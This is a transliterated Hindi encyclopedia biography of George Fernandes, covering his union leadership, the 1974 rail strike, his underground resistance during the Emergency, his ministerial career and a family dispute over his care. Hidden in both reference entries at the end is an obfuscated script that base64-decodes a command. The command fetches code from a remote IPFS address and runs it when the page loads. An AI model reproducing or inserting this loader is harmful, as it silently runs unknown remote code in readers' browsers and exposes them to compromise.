जॉर्ज फ़र्नांडिस
j aaurj farnaandis
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| poora nam | j aaurj maithyoo farnaandis |
| janm | 3 joon, 1930 |
| janm bhoomi | maiangalor, karnatak |
| mrityu | 29 janavari, 2019 |
| mrityu sthan | nee dilli, bharat |
| abhibhavak | pita- j aaun josaf farnaandis, mata- elis martha farnaandis |
| pati/patni | laila kabir |
| santan | sh aaun farnaandis |
| nagarikata | bharatiy |
| pad | raksha mantri v rel mantri |
| kary kal | raksha mantri - 21 aktoobar 2001 se 22 mee 2004 rel mantri - 2 disanbar 1989 se 10 navanbar 1990 |
| rajanitik dal | santa manch |
| any rajanitik sambaddhataean | janata dal, janata parti, sanyukt soshalist parti |
| any janakari | rakshamantri rahate hue j aaurj farnaandis ke bangale ke daravaje kabhi band nahian hote the aur ve kisi naukar ki seva nahian lete the. apane kam svayan kiya karate the. |
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j aaurj maithyoo farnaandis (aangrezi: George Mathew Fernandes, janm- 3 joon, 1930, maiangalor, karnatak; mrityu- 29 janavari, 2019, nee dilli) ek poorv tred yooniyan neta the, jo rajaneta, patrakar aur bharat ke rakshamantri rahe. unhoanne vyaparik sangh ke neta, patrakar, rajaneta aur ek mantri ke taur par apani jimmedari bakhoobi nibhaee. ajivan unhoanne majadooroan ke adhikaroan ke lie sangharsh kiya. j aaurj farnaandis janata dal ke pramukh neta the aur bad mean samata parti ka bhi gathan kiya. apane rajanaitik jivan mean unhoanne keandr mean kee mahatvapoorn mantralayoan ki jimmedari sanbhali. unhoanne sanchar, udyog, relave aur raksha mantri ke roop mean kary kiya. ve atal bihari vajapeyi ki sarakar mean akele eesaee mantri the. bharat sarakar ne unhean 2020 mean maranoparaant 'padm vibhooshan' se sammanit kiya hai.
parichay
j aaurj farnaandis ka janm j aaun josaf farnaandis aur elis martha farnaandis ke yahaan maiangalor mean 3 joon, 1930 ko hua tha. unaki maan kiang j aaurj pancham ki bahut b di prashansak thian, jinaka janm bhi 3 joon ko hua tha. is karan unhoanne inaka nam j aaurj rakha. unhoanne apana sekandari skool liviang sartiphiket maiangalor ke el aauyasis se poora kiya. skool ki padhaee ke bad parivar ki roodhi़vadi paranpara ke chalate b de putr hone ke nate j aaurj farnaandis ko dharm ki shiksha ke lie baiangalor mean seant pitar semineri bhej diya gaya. 16 varsh ki umr mean unhean 1946-1948 tak roman kaitholik padari ka prashikshan diya gaya. 19 varsh ki ayu mean unhoanne hatasha ke karan dharmik vidyalay chho d diya, kyoanki skool mean phadars uanchi tebaloan par baithakar achchha bhojan karate the, jabaki prashikshanarthiyoan ko aisi suvidha nahian milati thi. unhoanne is bhedabhav ke khilaph avaj uthaee. unhoanne 19 varsh ki ayu mean hi kam karana shuroo kar diya. unhoanne maiangalor ke s dak parivahan udyog, restoreant aur hotal mean karyarat shramikoan ko ekajut kiya.[1]
anathak vidrohi
j aaurj farnaandis ne khud bataya tha ki is dauran ve chaupati ki beanch par soya karate the aur lagatar soshalist parti aur tred yooniyan aandolan ke karyakramoan mean hissa lete the. j aaurj farnaandis ki shuruati chhavi ek jabaradast vidrohi ki thi. us vakt mukhar vakta ram manohar lohiya farnaandis ki prerana the. 1950 ate-ate ve taiksi draivar yooniyan ke betaj badashah ban ge. bikhare bal aur patale chehare vale farnaandis, tu de-mu de khadi ke kurte-payajame, ghisi huee chappaloan aur chashme mean khaanti ektivist laga karate the. kuchh log tabhi se unhean anathak vidrohi (ribel vidhaut e p aauz) kahane lage the.
bhale hi madhyavargiy aur uchchavargiy log us vakt j aaurj farnaandis ko badamash aur to d-pho d karane vala manate the, par banbee ke saik doan-hajaroan gariboan ke lie ve ek hiro the, masiha the. isi dauran 1967 ke lokasabha chunavoan mean j aaurj farnaandis us samay ke b de kaangresi netaoan mean se ek es.ke. patil ke samane maidan mean utare. b aaumbe sauth ki is sit se jab unhoanne patil ko haraya to log unhean j aaurj d jayant kilar bhi kahane lage.[2]
sabase b di h datal
san 1973 mean j aaurj farnaandis ‘aaul iandiya relavemeans phedareshan’ ke cheyaramain chune ge. iandiyan relave mean us vakt karib 14 lakh log kam kiya karate the. yani bharat kul sangathit kshetr ke karib sat phisadi. relave kamagar kee saloan se sarakar se kuchh jaroori maangean kar rahe the, par sarakar un par dhyan nahian de rahi thi. aise mean j aaurj ne 8 mee, 1974 ko deshavyapi rel h datal ka ahvan kiya. rel ka chakka jam ho gaya. kee dinoan tak relave ka sara kam thapp raha. n to koee adami kahian ja pa raha tha aur n hi saman. pahale to sarakar ne is par dhyan nahian diya, lekin yah yooniyanoan ka svarnim daur tha. kuchh hi vakt mean is h datal mean relave karmachariyoan ke sath ilektrisiti varkars, traansaport varkars aur taiksi chalane vale bhi ju d ge to sarakar ki mushkilean badh geean.
rajaniti mean pravesh
sare ghatanakram ko dekhate hue apatakal lagoo kar diya gaya tha. apatakal lagane ki soochana j aaurj ko rediyo par mili. us vakt ve u disa mean the. unako pata tha, sabase pahale nishane par hone valoan mean ve bhi shamil haian. isalie ve poore bharat mean kabhi machhuare ke to kabhi sadhu ke roop mean ghoomate phire. akhir mean unhoanne apani dadhi aur bal badh jane ka phayada uthate hue ek sikkh ka bhesh dhara aur bhoomigat hokar apatakal ke khilaph aandolan chalane lage. j aaurj aur uऩke sathiyoan ko joon, 1976 mean giraphtar kar liya gaya. isake bad un sahit 25 logoan ke khilaph sibiaee ne mamala darj kiya, jise "b dauda dayanamait kes" ke nam se jana jata hai.
iandira gaandhi dvara chunavoan ki ghoshana ke sath hi imarajeansi ka aant ho gaya. j aaurj farnaandis ne 1977 ka lokasabha chunav jel mean rahate hue mujaphpharapur lokasabha sit se rik aaurd matoan se jita. janata parti ki sarakar mean ve udyog mantri banae gaye. bad mean janata parti tooti, j aaurj farnaandis ne apani parti samata parti banaee aur bhajapa ka samarthan kiya. farnaandis ne apane rajanitik jivan mean kul tin mantralayoan ka karyabhar sanbhala- udyog, rel aur raksha mantralay. par ve inamean se kisi mean bhi bahut saphal nahian rahe. koankan relave ke vikas ka shrey unhean bhale jata ho, lekin unake raksha mantri rahate hue paramanu parikshan aur aaupareshan parakram ka shrey atal bihari vajapeyi ko hi diya gaya. rakshamantri ke roop mean j aaurj farnaandis ka karyakal khasa vivadit raha.[2]
vishesh
- j aaurj farnaandis bharat ke ekamatr rakshamantri rahe, jinhoanne 6,600 mitar ooanche siyachin gleshiyar ka 18 bar daura kiya tha.
- unake aauphis mean hiroshima ki tabahi ki ek tasvir bhi hua karati thi.
- rakshamantri rahate hue j aaurj farnaandis ke bangale ke daravaje kabhi band nahian hote the aur ve kisi naukar ki seva nahian lete the. apane kam svayan kiya karate the.
- atal bihari vajapeyi sarakar mean j aaurj farnaandis jab raksha mantri the, to unaka avas hua karata tha '3 krishnaa menan marg'. us samay unhoanne apane avas ka ek phatak hamesha ke lie hatava diya tha. koee unase milane ae aur daravaje par hi rok diya jae, ye unhean pasand nahian tha.
parivarik vivad
ek havaee yatra ke dauran j aaurj farnaandis ki mulakat laila kabir se huee thi. laila poorv keandriy mantri humayooan kabir ki beti thian. bad mean donoan ne vivah kar liya tha. unaka ek beta sh aaun farnaandis hai, jo nyooy aaurk mean ianvestameant baiankar hai. kaha jata hai bad mean jaya jetali se j aaurj ki najadikiyaan badhane par laila unhean chho dakar chali gee thian. bad mean ve j aaurj ki bimari ki bat sunakar 2010 mean vapas laut aeean. is samay tak j aaurj farnaandis ko aljaimar aur parkiansan jaisi bimariyaan gher chuki thian aur ve sarvajanik jivan se kat chuke the. laila ke sath rahane ke bad j aaurj ke bhaiyoan ne bhi un par hak jataya tha. mamala adalat tak gaya. phaisala hua ki ve laila aur sh aaun ke sath hi raheange, bhaee chahean to j aaurj ko dekhane a sakate haian. adalat ne jaya jetali ko bhi laila farnaandis ke mana karane ke bad j aaurj se milane se rok diya tha. is sare baval ki vajah j aaurj ki sanpatti ko mana gaya.[2]
yogadan
bharatiy rajaniti mean j aaurj farnaandis ka yogadan aham hai aur sansad ke sadasyoan dvara unhean hamesha sneh aur samman milata raha. unake pramukh yogadan mean rajyasabha mean kie ge unake kary tatha bharat ke samajavadi aandolan mean di geean sevaean haian. janata dal ke sansthapak sadasy, lokasabha ke sadasy, relave v raksha mantri aur enadie ke sanyojak ke taur par j aaurj farnaandis bharatiy rajaniti mean bahut hi aham shakhsiyat rahe haian. unhoanne kee kitabean likhakar logoan tak apane vichar bhi pahuanchae.
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tika tippani aur sandarbh
- ↑ j aaurj farnaandis (hiandi) itshindi.com. abhigaman tithi: 27 janavari, .<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 2.2 ek ‘anathak vidrohi’ ya ‘bina ridh ka neta’? (hiandi) satyagrah.scroll.in. abhigaman tithi: 27 janavari, .<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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